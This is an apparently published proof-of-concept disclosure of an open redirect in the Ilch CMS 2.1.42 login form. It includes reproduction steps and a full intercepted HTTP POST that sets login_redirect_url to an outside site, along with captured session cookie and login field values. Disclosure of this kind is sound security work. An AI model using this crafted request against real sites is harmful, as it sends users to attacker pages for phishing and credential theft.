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POC/Ilch 2.1.42 Open redirect
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| ##Description: | |
| An open redirect vulnerability in Ilch CMS version 2.1.42 allows attackers to redirect users to an attacker's site after a successful login. | |
| ## Vulnerable parameter: login_redirect_url | |
| ## Vulnerable component: Login form | |
| ## How to reproduce the issue? | |
| Step 1- visit https://localhost/ilch/ where ilch 2.1.42 is deployed. | |
| step 2- Enter username and password and intercept the login request | |
| Step 3= modify "login_redirect_url=https://google.com" | |
| ''' | |
| POST /ilch/index.php/user/login/index HTTP/1.1 | |
| Host: localhost | |
| Connection: close | |
| Content-Length: 172 | |
| Cache-Control: max-age=0 | |
| Upgrade-Insecure-Requests: 1 | |
| Origin: https://localhost | |
| Content-Type: application/x-www-form-urlencoded | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 | |
| Sec-Fetch-Site: same-origin | |
| Sec-Fetch-Mode: navigate | |
| Sec-Fetch-User: ?1 | |
| Sec-Fetch-Dest: document | |
| Referer: localhost | |
| Accept-Encoding: gzip, deflate | |
| Accept-Language: en-US,en;q=0.9 | |
| Cookie: _ga=GA1.2.403309485.1613487308; _gid=GA1.2.979393034.1613487308; _gat=1; PHPSESSID=goomditd55ndagjjau2nbgo17f | |
| login_redirect_url=https://google.com&ilch_token=c2c66bb3771fe4c6e9716604a11edb76830c86e32cd2396b3bab1e4b3954c754&login_emailname=admin&login_password=07MXq8xDtdG4leDSck74zROpDI3HsQmb&login= | |
| ''' | |
| You can see, user is redirect now to google.com. Attacker can redirect user wherever he want. | |
| ## Video POC: https://drive.google.com/file/d/1daNm7iPQc-9lXSqFWNjZXaIYnql3KEXu/view?usp=sharing | |
| ## Impact: | |
| -Attacker can steal user credentials | |
| -Attacker can redirect user to malicious website |